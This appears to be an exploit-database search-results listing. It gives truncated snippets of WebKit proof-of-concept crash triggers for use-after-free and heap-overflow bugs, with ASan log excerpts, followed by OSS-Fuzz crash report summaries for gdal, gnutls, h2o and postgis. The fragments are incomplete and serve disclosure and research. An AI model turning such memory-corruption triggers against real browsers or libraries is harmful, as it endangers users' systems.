2990 matches found
WebKit - WebCore::RenderSearchField::addSearchResult Heap Buffer Overflow Exploit
Exploit for multiple platform in category dos / poc function go i.value = "1"; i.type = "search"; f.submit; ::buffer /Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x8664+0x2694d46 1 0x116496bed in WTF::Vector::end...
WebKit - 'WebCore::RenderObject' with Accessibility Enabled Use-After-Free
link text-transform: lowercase; link::first-letter border-spacing: 1em; function go dt.appendChildlink; var s = link.style; s.setProperty"display", "table-column-group"; s.setProperty"-webkit-appearance", "menulist-button"; function eventhandler dir.setAttribute"aria-labeledby", "meta";...
WebKit - WebCore::InputType::element Use-After-Free Exploit
Exploit for multiple platform in category dos / poc var runcount = 0; function go runcount++; ifruncount 2 return; i.type = "foo"; i.select; i.type = "search"; document.onsearch = document.body.onload; document.execCommand"insertHTML", false, ""; !--...
WebKit - WebCore::AccessibilityRenderObject::handleAriaExpandedChanged Use-After-Free
WebKit - WebCore::AccessibilityRenderObject::handleAriaExpandedChanged Use-After-Free div visibility: collapse function eventhandler document.execCommand"bold", false; img.style.removeProperty"-webkit-appearance"; img.setAttribute"aria-expanded", "false"; aaa !--...
WebKit - WebCore::InputType::element Use-After-Free (1)
WebKit - WebCore::InputType::element Use-After-Free 1 var runcount = 0; function go runcount++; ifruncount 2 return; i.type = "foo"; i.select; i.type = "search"; document.onsearch = document.body.onload; document.execCommand"insertHTML", false, ""; !--...
WebKit - WebCore::Node::nextSibling Use-After-Free
WebKit - WebCore::Node::nextSibling Use-After-Free function freememory var a; forvar i=0;i !-- ================================================================= ASan log: ================================================================= ==29516==ERROR: AddressSanitizer: heap-use-after-free on...
WebKit - 'WebCore::getCachedWrapper' Use-After-Free
function freememory var a; forvar i=0;i ::get const /Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Ver...
WebKit - 'WebCore::RenderSearchField::addSearchResult' Heap Buffer Overflow
function go i.value = "1"; i.type = "search"; f.submit; ::buffer /Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x8664+0x2694d46 1 0x116496bed in WTF::Vector::end...
WebKit - WebCore::RenderSearchField::addSearchResult Heap Buffer Overflow
WebKit - WebCore::RenderSearchField::addSearchResult Heap Buffer Overflow function go i.value = "1"; i.type = "search"; f.submit; ::buffer /Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x8664+0x2694d46 1 0x116496bed in WTF::Vector::end...
WebKit - 'WebCore::AccessibilityRenderObject::handleAriaExpandedChanged' Use-After-Free
div visibility: collapse function eventhandler document.execCommand"bold", false; img.style.removeProperty"-webkit-appearance"; img.setAttribute"aria-expanded", "false"; aaa !-- ================================================================= ASan log:...
WebKit - 'WebCore::InputType::element' Use-After-Free (1)
var runcount = 0; function go runcount++; ifruncount 2 return; i.type = "foo"; i.select; i.type = "search"; document.onsearch = document.body.onload; document.execCommand"insertHTML", false, ""; !-- ================================================================= ASan log:...
gdal: Heap-buffer-overflow in CPLKeywordParser::SkipWhite
Project: https://github.com/OSGeo/gdal.git Detailed report: https://oss-fuzz.com/testcase?key=5087597527302144 Project: gdal Fuzzer: libFuzzergdalmrffuzzer Fuzz target binary: mrffuzzer Job Type: libfuzzerasangdal Platform Id: linux Crash Type: Heap-buffer-overflow READ 1 Crash Address:...
gnutls: Heap-buffer-overflow in nettle_sha512_update
Project: https://gitlab.com/gnutls/gnutls.git Detailed report: https://oss-fuzz.com/testcase?key=6325863039631360 Project: gnutls Fuzzer: aflgnutlsprivatekeyparserfuzzer Fuzz target binary: gnutlsprivatekeyparserfuzzer Job Type: aflasangnutls Platform Id: linux Crash Type: Heap-buffer-overflow RE...
gdal: Heap-use-after-free in Read2B
Detailed report: https://oss-fuzz.com/testcase?key=6190478858911744 Project: gdal Fuzzer: libFuzzergdalcadfuzzer Job Type: gdalexperimental Platform Id: linux Crash Type: Heap-use-after-free READ 1 Crash Address: 0x6110000001d6 Crash State: Read2B ReadBITLONG DWGFileRNUMBER::ReadHeader Sanitizer:...
gdal: Heap-buffer-overflow in ParseSect4
Project: https://github.com/OSGeo/gdal.git Detailed report: https://oss-fuzz.com/testcase?key=4930695526875136 Project: gdal Fuzzer: libFuzzergdalfilesystemfuzzer Fuzz target binary: gdalfilesystemfuzzer Job Type: libfuzzerasangdal Platform Id: linux Crash Type: Heap-buffer-overflow READ 4 Crash...
gdal: Crash in LercNS::Huffman::ReadCodeTable
Project: https://github.com/OSGeo/gdal.git Detailed report: https://oss-fuzz.com/testcase?key=6297336571494400 Project: gdal Fuzzer: libFuzzergdalmrffuzzer Fuzz target binary: mrffuzzer Job Type: libfuzzerasangdal Platform Id: linux Crash Type: UNKNOWN WRITE Crash Address: 0x6332b2b13e90 Crash...
h2o: <no crash state available>
Project: https://github.com/h2o/h2o.git Detailed report: https://oss-fuzz.com/testcase?key=4581434322845696 Project: h2o Fuzzer: libFuzzerh2oh2o-fuzzer-http2 Fuzz target binary: h2o-fuzzer-http2 Job Type: libfuzzerasanh2o Platform Id: linux Crash Type: Null-dereference READ Crash Address:...
gdal: Heap-buffer-overflow in CADBuffer::ReadCHAR
Project: https://github.com/OSGeo/gdal.git Detailed report: https://oss-fuzz.com/testcase?key=6298144394444800 Project: gdal Fuzzer: aflgdalcadfuzzer Fuzz target binary: cadfuzzer Job Type: aflasangdal Platform Id: linux Crash Type: Heap-buffer-overflow READ 1 Crash Address: 0x62700000350e Crash...
gdal: Stack-use-after-return in void SwapEndianness<long&, unsigned long>
Project: https://github.com/OSGeo/gdal.git Detailed report: https://oss-fuzz.com/testcase?key=4542983628128256 Project: gdal Fuzzer: libFuzzergdalcadfuzzer Fuzz target binary: cadfuzzer Job Type: libfuzzerasangdal Platform Id: linux Crash Type: Stack-use-after-return READ 1 Crash Address:...
postgis: Heap-buffer-overflow in ptarray_is_closed_3d
Project: https://git.osgeo.org/gitea/postgis/postgis.git Detailed report: https://oss-fuzz.com/testcase?key=4733660446064640 Project: postgis Fuzzer: aflpostgiswkbimportfuzzer Fuzz target binary: wkbimportfuzzer Job Type: aflasanpostgis Platform Id: linux Crash Type: Heap-buffer-overflow READ Cra...